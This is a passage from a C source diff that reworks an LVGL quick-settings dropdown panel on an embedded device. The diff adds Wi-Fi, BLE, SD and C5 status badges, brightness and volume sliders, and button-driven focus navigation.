{NULL}; -static int selected_idx = 0; - -static toggle_ui_t toggles[2]; -static lv_obj_t *circles[2] = {NULL}; -static lv_obj_t *circle_icons_obj[2] = {NULL}; - -#define SLIDER_STEPS 10 -#define SLIDER_MAX_W 100 -static lv_obj_t *slider_bars[3] = {NULL}; -static int slider_vals[3] = {5, 5, 5}; - -static bool btn_up_last = false; -static bool btn_down_last = false; -static bool btn_left_last = false; -static bool btn_right_last = false; -static bool btn_ok_last = false; -static bool btn_back_last = false; +static bool btn_up_last, btn_down_last, btn_left_last, btn_right_last, btn_ok_last, btn_back_last; static lv_timer_t *slide_btn_timer = NULL; -static void update_slider(int idx) { - if (idx < 0 || idx >= 3 || !slider_bars[idx]) - return; - int32_t pct = (100 * slider_vals[idx]) / SLIDER_STEPS; - if (pct < 1) - pct = 1; - lv_obj_set_size(slider_bars[idx], lv_pct(pct), 33); -} - -static void update_selection(void) { - for (int i = 0; i < SEL_ITEMS; i++) { - if (!sel_items[i]) +static void refresh_focus(void) { + for (int i = 0; i < BADGE_COUNT; i++) { + if (!badge_dot[i]) continue; - if (i == selected_idx) { - lv_obj_set_style_border_width(sel_items[i], 2, 0); - lv_obj_set_style_border_color(sel_items[i], BORDER_SEL_COLOR, 0); - } else { - lv_obj_set_style_border_width(sel_items[i], 0, 0); - } + bool on = badge_on[i]; + bool sel = (focus_row == ROW_BADGES && i == badge_sel); + lv_color_t conn = on ? lv_color_hex(GREEN) : current_theme.border_inactive; + lv_obj_set_style_border_color(badge_dot[i], sel ? current_theme.border_accent : conn, 0); + lv_obj_set_style_border_width(badge_dot[i], sel ? 3 : 2, 0); + lv_obj_set_style_bg_color(badge_dot[i], on ? lv_color_hex(0x04160C) : CHIP_BG, 0); + lv_obj_set_style_shadow_width(badge_dot[i], on ? 12 : 0, 0); + lv_obj_set_style_shadow_color(badge_dot[i], lv_color_hex(GREEN), 0); + lv_obj_set_style_shadow_opa(badge_dot[i], on ? LV_OPA_40 : LV_OPA_TRANSP, 0); + if (badge_ic[i]) + lv_obj_set_style_text_color( + badge_ic[i], on ? lv_color_hex(GREEN) : current_theme.border_inactive, 0); + if (badge_lbl[i]) + lv_obj_set_style_text_color(badge_lbl[i], sel ? current_theme.border_accent : conn, 0); } -} - -static void update_circle(int idx) { - bool on = toggle_ui_get(&toggles[idx]); - - if (circles[idx]) { - if (on) { - lv_obj_set_style_bg_color(circles[idx], current_theme.border_accent, 0); - lv_obj_set_style_bg_grad_color(circles[idx], current_theme.border_accent, 0); - } else { - lv_obj_set_style_bg_color(circles[idx], current_theme.bg_item_top, 0); - lv_obj_set_style_bg_grad_color(circles[idx], current_theme.bg_secondary, 0); - } - } - - if (circle_icons_obj[idx]) { - if (on) { - lv_obj_set_style_image_recolor(circle_icons_obj[idx], current_theme.screen_base, 0); - lv_obj_set_style_image_recolor_opa(circle_icons_obj[idx], LV_OPA_COVER, 0); - } else { - lv_obj_set_style_image_recolor_opa(circle_icons_obj[idx], LV_OPA_TRANSP, 0); - } + for (int s = 0; s < SLIDER_COUNT; s++) { + if (!sl_track[s]) + continue; + bool foc = (focus_row == ROW_BRIGHT + s); + lv_obj_set_style_border_width(sl_track[s], foc ? 2 : 1, 0); + lv_obj_set_style_border_color( + sl_track[s], foc ? current_theme.border_accent : current_theme.border_inactive, 0); + if (sl_icon[s]) + lv_obj_set_style_image_recolor_opa(sl_icon[s], foc ? LV_OPA_TRANSP : LV_OPA_50, 0); + if (sl_val[s]) + lv_obj_set_style_text_color( + sl_val[s], foc ? current_theme.border_accent : current_theme.border_inactive, 0); } } -static void animate_to_page_height(int page) { - int h = page_heights[page]; - lv_anim_t a; - lv_anim_init(&a); - lv_anim_set_var(&a, slide_panel); - lv_anim_set_values(&a, lv_obj_get_height(slide_panel), h); - lv_anim_set_duration(&a, 250); - lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); - lv_anim_set_exec_cb(&a, (lv_anim_exec_xcb_t)lv_obj_set_height); - lv_anim_start(&a); - - if (slide_bar_obj) { - lv_anim_set_var(&a, slide_bar_obj); - lv_anim_set_values(&a, lv_obj_get_y(slide_bar_obj), h - 6); - lv_anim_set_exec_cb(&a, (lv_anim_exec_xcb_t)lv_obj_set_y); - lv_anim_start(&a); - } +static void set_slider(int s, int v) { + if (s < 0 || s >= SLIDER_COUNT || !sl_fill[s]) + return; + if (v < 0) + v = 0; + if (v > 100) + v = 100; + sl_value[s] = v; + int w = v < SLIDER_MIN_FILL_PCT ? SLIDER_MIN_FILL_PCT : v; + lv_obj_set_width(sl_fill[s], lv_pct(w)); + if (sl_val[s]) + lv_label_set_text_fmt(sl_val[s], "%d%%", v); } -static void slide_anim_cb(void *var, int32_t val) { - lv_obj_set_y((lv_obj_t *)var, val); - if (slide_bar_obj) { - lv_obj_set_y(slide_bar_obj, val + DROPDOWN_HEIGHT - 6); - } +static void slide_anim_cb(void *var, int32_t v) { + lv_obj_set_y((lv_obj_t *)var, v); } -static void slide_anim_done_cb(lv_anim_t *a) { +static void slide_done_cb(lv_anim_t *a) { + (void)a; slide_animating = false; if (!slide_open) { - page_dots_hide(&pg_dots); - if (slide_bar_obj) - lv_obj_add_flag(slide_bar_obj, LV_OBJ_FLAG_HIDDEN); - for (int i = 0; i < hide_objs_count; i++) { + lv_obj_add_flag(slide_panel, LV_OBJ_FLAG_HIDDEN); + for (int i = 0; i < hide_objs_count; i++) if (hide_objs_ref[i]) lv_obj_remove_flag(hide_objs_ref[i], LV_OBJ_FLAG_HIDDEN); - } } } @@ -151,58 +130,44 @@ static void dropdown_open(void) { if (!slide_panel || slide_animating || slide_open) return; slide_animating = true; + slide_open = true; - selected_idx = 0; - update_selection(); - - for (int p = 0; p < DROPDOWN_PAGES; p++) { - if (page_containers[p]) { - if (p == 0) - lv_obj_remove_flag(page_containers[p], LV_OBJ_FLAG_HIDDEN); - else - lv_obj_add_flag(page_containers[p], LV_OBJ_FLAG_HIDDEN); - } - } - current_page = 0; - lv_obj_set_height(slide_panel, page_heights[0]); + focus_row = ROW_BADGES; + badge_sel = 0; + refresh_focus(); lv_obj_remove_flag(slide_panel, LV_OBJ_FLAG_HIDDEN); - if (slide_bar_obj) - lv_obj_remove_flag(slide_bar_obj, LV_OBJ_FLAG_HIDDEN); - page_dots_show(&pg_dots); - page_dots_set(&pg_dots, 0); - for (int i = 0; i < hide_objs_count; i++) { + lv_obj_move_foreground(slide_panel); + for (int i = 0; i < hide_objs_count; i++) if (hide_objs_ref[i]) lv_obj_add_flag(hide_objs_ref[i], LV_OBJ_FLAG_HIDDEN); - } lv_anim_t a; lv_anim_init(&a); lv_anim_set_var(&a, slide_panel); lv_anim_set_exec_cb(&a, slide_anim_cb); - lv_anim_set_time(&a, 300); + lv_anim_set_values(&a, -s_panel_h, 0); + lv_anim_set_duration(&a, SLIDE_ANIM_MS); lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); - lv_anim_set_completed_cb(&a, slide_anim_done_cb); - lv_anim_set_values(&a, -DROPDOWN_HEIGHT, 0); + lv_anim_set_completed_cb(&a, slide_done_cb); lv_anim_start(&a); - slide_open = true; } static void dropdown_close(void) { if (!slide_panel || slide_animating || !slide_open) return; slide_animating = true; + slide_open = false; lv_anim_t a; lv_anim_init(&a); lv_anim_set_var(&a, slide_panel); lv_anim_set_exec_cb(&a, slide_anim_cb); - lv_anim_set_time(&a, 300); + lv_anim_set_values(&a, 0, -s_panel_h); + lv_anim_set_duration(&a, SLIDE_ANIM_MS); lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); - lv_anim_set_completed_cb(&a, slide_anim_done_cb); - lv_anim_set_values(&a, 0, -DROPDOWN_HEIGHT); + lv_anim_set_completed_cb(&a, slide_done_cb); lv_anim_start(&a); - slide_open = false; } static void slide_btn_timer_cb(lv_timer_t *timer) { @@ -211,314 +176,310 @@ static void slide_btn_timer_cb(lv_timer_t *timer) { slide_btn_timer = NULL; return; } - bool up_pressed = up_button_is_down(); - bool down_pressed = down_button_is_down(); - bool left_pressed = left_button_is_down(); - bool right_pressed = right_button_is_down(); - bool ok_pressed = ok_button_is_down(); - bool back_pressed = back_button_is_down(); - - if (up_pressed && !btn_up_last) { - if (!slide_open) { - dropdown_open(); - } else if (selected_idx > 0) { - selected_idx--; - update_selection(); + bool up = up_button_is_down(), down = down_button_is_down(); + bool left = left_button_is_down(), right = right_button_is_down(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (up && !btn_up_last && !slide_open) { + dropdown_open(); + } else if (slide_open) { + if (up && !btn_up_last && focus_row > 0) { + focus_row--; + refresh_focus(); } - } - - if (down_pressed && !btn_down_last && slide_open) { - if (selected_idx < SEL_ITEMS - 1) { - selected_idx++; - update_selection(); + if (down && !btn_down_last && focus_row < ROW_COUNT - 1) { + focus_row++; + refresh_focus(); } - } - - if (left_pressed && !btn_left_last && slide_open) { - if (current_page > 0) { - if (page_containers[current_page]) - lv_obj_add_flag(page_containers[current_page], LV_OBJ_FLAG_HIDDEN); - current_page--; - if (page_containers[current_page]) - lv_obj_remove_flag(page_containers[current_page], LV_OBJ_FLAG_HIDDEN); - page_dots_set(&pg_dots, current_page); - animate_to_page_height(current_page); - selected_idx = 0; - update_selection(); + if (left && !btn_left_last) { + if (focus_row == ROW_BADGES) { + badge_sel = (badge_sel == 0) ? BADGE_COUNT - 1 : badge_sel - 1; + refresh_focus(); + } else { + int s = focus_row - ROW_BRIGHT; + set_slider(s, sl_value[s] - SL_STEP); + } } - } - if (right_pressed && !btn_right_last && slide_open) { - if (current_page < DROPDOWN_PAGES - 1) { - if (page_containers[current_page]) - lv_obj_add_flag(page_containers[current_page], LV_OBJ_FLAG_HIDDEN); - current_page++; - if (page_containers[current_page]) - lv_obj_remove_flag(page_containers[current_page], LV_OBJ_FLAG_HIDDEN); - page_dots_set(&pg_dots, current_page); - animate_to_page_height(current_page); - selected_idx = 0; - update_selection(); + if (right && !btn_right_last) { + if (focus_row == ROW_BADGES) { + badge_sel = (badge_sel + 1) % BADGE_COUNT; + refresh_focus(); + } else { + int s = focus_row - ROW_BRIGHT; + set_slider(s, sl_value[s] + SL_STEP); + } } - } - - if (ok_pressed && !btn_ok_last && slide_open) { - if (selected_idx < 2) { - toggle_ui_toggle(&toggles[selected_idx]); - update_circle(selected_idx); + if (ok && !btn_ok_last && focus_row == ROW_BADGES && BADGE_TOGGLEABLE[badge_sel]) { + badge_on[badge_sel] = !badge_on[badge_sel]; + refresh_focus(); + } + if (back && !btn_back_last) { + dropdown_close(); } } - if (back_pressed && !btn_back_last && slide_open) { - dropdown_close(); + btn_up_last = up; + btn_down_last = down; + btn_left_last = left; + btn_right_last = right; + btn_ok_last = ok; + btn_back_last = back; +} + +static void make_badge(lv_obj_t *row, int idx, const char *sym, const char *caption) { + lv_obj_t *cell = lv_obj_create(row); + lv_obj_set_size(cell, LV_SIZE_CONTENT, LV_SIZE_CONTENT); + lv_obj_remove_flag(cell, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_add_flag(cell, LV_OBJ_FLAG_OVERFLOW_VISIBLE); + lv_obj_set_style_bg_opa(cell, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(cell, 0, 0); + lv_obj_set_style_pad_all(cell, 0, 0); + lv_obj_set_flex_flow(cell, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_align(cell, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_row(cell, 6, 0); + + lv_obj_t *dot = lv_obj_create(cell); + lv_obj_set_size(dot, 46, 46); + lv_obj_remove_flag(dot, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(dot, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_opa(dot, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(dot, 2, 0); + lv_obj_set_style_pad_all(dot, 0, 0); + + lv_obj_t *ic = lv_label_create(dot); + lv_label_set_text(ic, sym); + lv_obj_set_style_text_font(ic, &lv_font_montserrat_14, 0); + lv_obj_center(ic); + + lv_obj_t *cap = lv_label_create(cell); + lv_label_set_text(cap, caption); + lv_obj_set_style_text_font(cap, &lv_font_montserrat_12, 0); + + badge_dot[idx] = dot; + badge_ic[idx] = ic; + badge_lbl[idx] = cap; +} + +static void make_slider(lv_obj_t *parent, int idx, const char *icon_path) { + lv_obj_t *row = lv_obj_create(parent); + lv_obj_set_size(row, lv_pct(100), 24); + lv_obj_remove_flag(row, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_add_flag(row, LV_OBJ_FLAG_OVERFLOW_VISIBLE); + lv_obj_set_style_bg_opa(row, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(row, 0, 0); + lv_obj_set_style_pad_all(row, 0, 0); + lv_obj_set_flex_flow(row, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(row, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(row, 10, 0); + + lv_image_dsc_t *dsc = icon_path ? assets_get(icon_path) : NULL; + if (dsc) { + lv_obj_t *img = lv_image_create(row); + lv_image_set_src(img, dsc); + lv_obj_set_size(img, 22, 22); + lv_image_set_inner_align(img, LV_IMAGE_ALIGN_CONTAIN); + lv_obj_set_style_image_recolor(img, current_theme.text_main, 0); + sl_icon[idx] = img; } - btn_up_last = up_pressed; - btn_down_last = down_pressed; - btn_left_last = left_pressed; - btn_right_last = right_pressed; - btn_ok_last = ok_pressed; - btn_back_last = back_pressed; + lv_obj_t *track = lv_obj_create(row); + lv_obj_set_size(track, lv_pct(100), 14); + lv_obj_set_flex_grow(track, 1); + lv_obj_remove_flag(track, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_add_flag(track, LV_OBJ_FLAG_OVERFLOW_VISIBLE); + lv_obj_set_style_radius(track, 7, 0); + lv_obj_set_style_bg_color(track, CHIP_BG, 0); + lv_obj_set_style_bg_opa(track, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(track, 1, 0); + lv_obj_set_style_border_color(track, current_theme.border_inactive, 0); + lv_obj_set_style_pad_all(track, 0, 0); + + lv_obj_t *fill = lv_obj_create(track); + lv_obj_set_size(fill, lv_pct(50), lv_pct(100)); + lv_obj_remove_flag(fill, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_add_flag(fill, LV_OBJ_FLAG_OVERFLOW_VISIBLE); + lv_obj_set_style_radius(fill, 7, 0); + lv_obj_set_style_bg_color(fill, current_theme.border_interface, 0); + lv_obj_set_style_bg_grad_color(fill, current_theme.border_accent, 0); + lv_obj_set_style_bg_grad_dir(fill, LV_GRAD_DIR_HOR, 0); + lv_obj_set_style_bg_opa(fill, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(fill, 0, 0); + lv_obj_set_style_pad_all(fill, 0, 0); + lv_obj_align(fill, LV_ALIGN_LEFT_MID, 0, 0); + + lv_obj_t *knob = lv_obj_create(fill); + lv_obj_set_size(knob, 14, 14); + lv_obj_remove_flag(knob, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(knob, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_color(knob, current_theme.text_main, 0); + lv_obj_set_style_bg_opa(knob, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(knob, 2, 0); + lv_obj_set_style_border_color(knob, current_theme.border_accent, 0); + lv_obj_set_style_shadow_width(knob, 8, 0); + lv_obj_set_style_shadow_color(knob, current_theme.border_accent, 0); + lv_obj_align(knob, LV_ALIGN_RIGHT_MID, 7, 0); + lv_obj_move_foreground(knob); + + lv_obj_t *val = lv_label_create(row); + lv_obj_set_width(val, 38); + lv_obj_set_style_text_align(val, LV_TEXT_ALIGN_RIGHT, 0); + lv_obj_set_style_text_color(val, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(val, &lv_font_montserrat_12, 0); + + sl_track[idx] = track; + sl_fill[idx] = fill; + sl_knob[idx] = knob; + sl_val[idx] = val; + set_slider(idx, sl_value[idx]); +} + +static void make_mini(lv_obj_t *row, const char *label, const char *value, int pct, bool battery) { + (void)label; + lv_color_t c1 = battery ? lv_color_hex(0x00E676) : lv_color_hex(0x00BCD4); + lv_color_t c2 = battery ? lv_color_hex(0x00A651) : lv_color_hex(0x0091A7); + const char *sym = battery ? LV_SYMBOL_BATTERY_FULL : LV_SYMBOL_SD_CARD; + + lv_obj_t *chip = lv_obj_create(row); + lv_obj_set_size(chip, lv_pct(100), LV_SIZE_CONTENT); + lv_obj_set_flex_grow(chip, 1); + lv_obj_remove_flag(chip, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(chip, 10, 0); + lv_obj_set_style_bg_color(chip, CHIP_BG, 0); + lv_obj_set_style_bg_opa(chip, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(chip, 1, 0); + lv_obj_set_style_border_color(chip, current_theme.border_inactive, 0); + lv_obj_set_style_pad_all(chip, 8, 0); + lv_obj_set_flex_flow(chip, LV_FLEX_FLOW_COLUMN); + lv_obj_set_style_pad_row(chip, 6, 0); + + lv_obj_t *head = lv_obj_create(chip); + lv_obj_set_size(head, lv_pct(100), LV_SIZE_CONTENT); + lv_obj_remove_flag(head, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(head, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(head, 0, 0); + lv_obj_set_style_pad_all(head, 0, 0); + lv_obj_set_flex_flow(head, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(head, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(head, 7, 0); + + lv_obj_t *ic = lv_label_create(head); + lv_label_set_text(ic, sym); + lv_obj_set_style_text_color(ic, c1, 0); + lv_obj_set_style_text_font(ic, &lv_font_montserrat_14, 0); + + lv_obj_t *v = lv_label_create(head); + lv_label_set_text(v, value); + lv_obj_set_style_text_color(v, c1, 0); + lv_obj_set_style_text_font(v, &lv_font_montserrat_14, 0); + + lv_obj_t *track = lv_obj_create(chip); + lv_obj_set_size(track, lv_pct(100), 7); + lv_obj_remove_flag(track, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(track, 4, 0); + lv_obj_set_style_bg_color(track, current_theme.text_main, 0); + lv_obj_set_style_bg_opa(track, LV_OPA_10, 0); + lv_obj_set_style_border_width(track, 0, 0); + lv_obj_set_style_pad_all(track, 0, 0); + lv_obj_set_style_clip_corner(track, true, 0); + + if (pct < 1) + pct = 1; + if (pct > 100) + pct = 100; + lv_obj_t *fill = lv_obj_create(track); + lv_obj_set_size(fill, lv_pct(pct), lv_pct(100)); + lv_obj_remove_flag(fill, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(fill, 4, 0); + lv_obj_set_style_bg_color(fill, c2, 0); + lv_obj_set_style_bg_grad_color(fill, c1, 0); + lv_obj_set_style_bg_grad_dir(fill, LV_GRAD_DIR_HOR, 0); + lv_obj_set_style_bg_opa(fill, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(fill, 0, 0); + lv_obj_align(fill, LV_ALIGN_LEFT_MID, 0, 0); } void dropdown_ui_create(lv_obj_t *parent) { slide_panel = lv_obj_create(parent); - lv_obj_set_size(slide_panel, lv_pct(100), DROPDOWN_HEIGHT); - lv_obj_set_pos(slide_panel, 0, -DROPDOWN_HEIGHT); + lv_obj_set_size(slide_panel, lv_pct(100), LV_SIZE_CONTENT); + lv_obj_set_pos(slide_panel, 0, 0); lv_obj_remove_flag(slide_panel, LV_OBJ_FLAG_SCROLLABLE); lv_obj_add_flag(slide_panel, LV_OBJ_FLAG_HIDDEN); - lv_obj_move_foreground(slide_panel); - lv_obj_set_style_radius(slide_panel, 12, 0); - lv_obj_set_style_border_side( - slide_panel, LV_BORDER_SIDE_BOTTOM | LV_BORDER_SIDE_LEFT | LV_BORDER_SIDE_RIGHT, 0); + lv_obj_set_style_radius(slide_panel, 14, 0); + lv_obj_set_style_border_side(slide_panel, LV_BORDER_SIDE_BOTTOM, 0); lv_obj_set_style_border_width(slide_panel, 2, 0); lv_obj_set_style_border_color(slide_panel, current_theme.border_accent, 0); - lv_obj_set_style_pad_all(slide_panel, 0, 0); lv_obj_set_style_bg_opa(slide_panel, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(slide_panel, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_color(slide_panel, current_theme.border_interface, 0); - lv_obj_set_style_bg_grad_dir(slide_panel, LV_GRAD_DIR_VER, 0); - - page_containers[0] = lv_obj_create(slide_panel); - lv_obj_t *content = page_containers[0]; - lv_obj_set_size(content, lv_pct(100), LV_SIZE_CONTENT); - lv_obj_align(content, LV_ALIGN_TOP_MID, 0, 30); - lv_obj_remove_flag(content, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(content, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(content, 0, 0); - lv_obj_set_style_pad_all(content, 0, 0); - lv_obj_set_flex_flow(content, LV_FLEX_FLOW_COLUMN); - lv_obj_set_flex_align(content, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_set_style_pad_row(content, 10, 0); - - lv_obj_t *row_circles = lv_obj_create(content); - lv_obj_set_size(row_circles, LV_SIZE_CONTENT, LV_SIZE_CONTENT); - lv_obj_remove_flag(row_circles, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(row_circles, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(row_circles, 0, 0); - lv_obj_set_style_pad_all(row_circles, 0, 0); - lv_obj_set_style_pad_column(row_circles, 20, 0); - lv_obj_set_flex_flow(row_circles, LV_FLEX_FLOW_ROW); + lv_obj_set_style_bg_color(slide_panel, PANEL_BG, 0); + lv_obj_set_style_bg_grad_dir(slide_panel, LV_GRAD_DIR_NONE, 0); + lv_obj_set_style_pad_hor(slide_panel, 16, 0); + lv_obj_set_style_pad_top(slide_panel, 12, 0); + lv_obj_set_style_pad_bottom(slide_panel, 16, 0); + lv_obj_set_flex_flow(slide_panel, LV_FLEX_FLOW_COLUMN); lv_obj_set_flex_align( - row_circles, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - - static lv_image_dsc_t *bt_sel_dsc = NULL; - static lv_image_dsc_t *wifi_sel_dsc = NULL; - if (!bt_sel_dsc) - bt_sel_dsc = assets_get("/assets/icons/bluetooth_sel.bin"); - if (!wifi_sel_dsc) - wifi_sel_dsc = assets_get("/assets/icons/wifi_sel.bin"); - lv_image_dsc_t *circle_icon_dscs[] = {bt_sel_dsc, wifi_sel_dsc}; - - for (int i = 0; i < 2; i++) { - lv_obj_t *circle = lv_obj_create(row_circles); - lv_obj_set_size(circle, 67, 67); - lv_obj_remove_flag(circle, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(circle, LV_RADIUS_CIRCLE, 0); - lv_obj_set_style_bg_opa(circle, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(circle, current_theme.bg_item_top, 0); - lv_obj_set_style_bg_grad_color(circle, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(circle, LV_GRAD_DIR_VER, 0); - lv_obj_set_style_border_width(circle, 0, 0); - circles[i] = circle; - - if (circle_icon_dscs[i]) { - lv_obj_t *icon = lv_image_create(circle); - lv_image_set_src(icon, circle_icon_dscs[i]); - lv_obj_center(icon); - circle_icons_obj[i] = icon; - } - } - - lv_obj_t *row_toggles = lv_obj_create(content); - lv_obj_set_size(row_toggles, LV_SIZE_CONTENT, LV_SIZE_CONTENT); - lv_obj_remove_flag(row_toggles, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(row_toggles, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(row_toggles, 0, 0); - lv_obj_set_style_pad_all(row_toggles, 0, 0); - lv_obj_set_style_pad_column(row_toggles, 20, 0); - lv_obj_set_flex_flow(row_toggles, LV_FLEX_FLOW_ROW); + slide_panel, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_START); + lv_obj_set_style_pad_row(slide_panel, 13, 0); + + lv_obj_t *grab = lv_obj_create(slide_panel); + lv_obj_set_size(grab, 46, 5); + lv_obj_remove_flag(grab, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(grab, 3, 0); + lv_obj_set_style_bg_color(grab, current_theme.border_inactive, 0); + lv_obj_set_style_bg_opa(grab, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(grab, 0, 0); + + lv_obj_t *badges = lv_obj_create(slide_panel); + lv_obj_set_size(badges, lv_pct(100), LV_SIZE_CONTENT); + lv_obj_remove_flag(badges, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_add_flag(badges, LV_OBJ_FLAG_OVERFLOW_VISIBLE); + lv_obj_set_style_bg_opa(badges, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(badges, 0, 0); + lv_obj_set_style_pad_all(badges, 0, 0); + lv_obj_set_flex_flow(badges, LV_FLEX_FLOW_ROW); lv_obj_set_flex_align( - row_toggles, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - - for (int i = 0; i < 2; i++) { - toggle_ui_create(&toggles[i], row_toggles); - sel_items[i] = toggles[i].obj; - } - - static lv_image_dsc_t *phone_dsc = NULL; - static lv_image_dsc_t *volume_dsc = NULL; - static lv_image_dsc_t *bright_dsc = NULL; - - if (!phone_dsc) - phone_dsc = assets_get("/assets/icons/phone_icon.bin"); - if (!volume_dsc) - volume_dsc = assets_get("/assets/icons/volume_icon.bin"); - if (!bright_dsc) - bright_dsc = assets_get("/assets/icons/bright_icon.bin"); - - lv_image_dsc_t *big_icons[] = {phone_dsc, volume_dsc, bright_dsc}; - - for (int i = 0; i < 3; i++) { - lv_obj_t *big_rect = lv_obj_create(content); - lv_obj_set_size(big_rect, lv_pct(80), 33); - lv_obj_remove_flag(big_rect, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(big_rect, 12, 0); - lv_obj_set_style_bg_opa(big_rect, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(big_rect, current_theme.bg_item_top, 0); - lv_obj_set_style_bg_grad_color(big_rect, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(big_rect, LV_GRAD_DIR_VER, 0); - lv_obj_set_style_border_width(big_rect, 0, 0); - lv_obj_set_style_pad_all(big_rect, 0, 0); - - int32_t pct = (100 * slider_vals[i]) / SLIDER_STEPS; - if (pct < 1) - pct = 1; - lv_obj_t *bar = lv_obj_create(big_rect); - lv_obj_set_size(bar, lv_pct(pct), 33); - lv_obj_remove_flag(bar, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(bar, 12, 0); - lv_obj_set_style_bg_opa(bar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(bar, current_theme.border_accent, 0); - lv_obj_set_style_bg_grad_color(bar, current_theme.border_accent, 0); - lv_obj_set_style_bg_grad_dir(bar, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(bar, 0, 0); - lv_obj_set_style_pad_all(bar, 0, 0); - lv_obj_set_pos(bar, 0, 0); - slider_bars[i] = bar; - - if (big_icons[i]) { - lv_obj_t *icon = lv_image_create(big_rect); - lv_image_set_src(icon, big_icons[i]); - lv_obj_align(icon, LV_ALIGN_LEFT_MID, 8, 0); - } - - sel_items[2 + i] = big_rect; - } - - static lv_image_dsc_t *slide_bar_dsc = NULL; - if (!slide_bar_dsc) - slide_bar_dsc = assets_get("/assets/icons/slide_bar.bin"); - - slide_bar_obj = lv_image_create(parent); - if (slide_bar_dsc) - lv_image_set_src(slide_bar_obj, slide_bar_dsc); - lv_obj_align(slide_bar_obj, LV_ALIGN_TOP_MID, 0, 0); - lv_obj_set_y(slide_bar_obj, -DROPDOWN_HEIGHT); - lv_obj_add_flag(slide_bar_obj, LV_OBJ_FLAG_HIDDEN); - lv_obj_move_foreground(slide_bar_obj); - - page_containers[1] = lv_obj_create(slide_panel); - lv_obj_set_size(page_containers[1], lv_pct(95), LV_SIZE_CONTENT); - lv_obj_align(page_containers[1], LV_ALIGN_TOP_MID, 0, 20); - lv_obj_remove_flag(page_containers[1], LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(page_containers[1], LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(page_containers[1], 0, 0); - lv_obj_set_style_pad_all(page_containers[1], 0, 0); - lv_obj_set_flex_flow(page_containers[1], LV_FLEX_FLOW_ROW); + badges, LV_FLEX_ALIGN_SPACE_BETWEEN, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + make_badge(badges, 0, LV_SYMBOL_WIFI, "Wi-Fi"); + make_badge(badges, 1, LV_SYMBOL_BLUETOOTH, "BLE"); + make_badge(badges, 2, LV_SYMBOL_SD_CARD, "SD"); + make_badge(badges, 3, LV_SYMBOL_GPS, "C5"); + + make_slider(slide_panel, 0, "/assets/icons/bright_icon.bin"); + make_slider(slide_panel, 1, "/assets/icons/volume_icon.bin"); + + lv_obj_t *mini = lv_obj_create(slide_panel); + lv_obj_set_size(mini, lv_pct(100), LV_SIZE_CONTENT); + lv_obj_remove_flag(mini, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(mini, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(mini, 0, 0); + lv_obj_set_style_pad_all(mini, 0, 0); + lv_obj_set_flex_flow(mini, 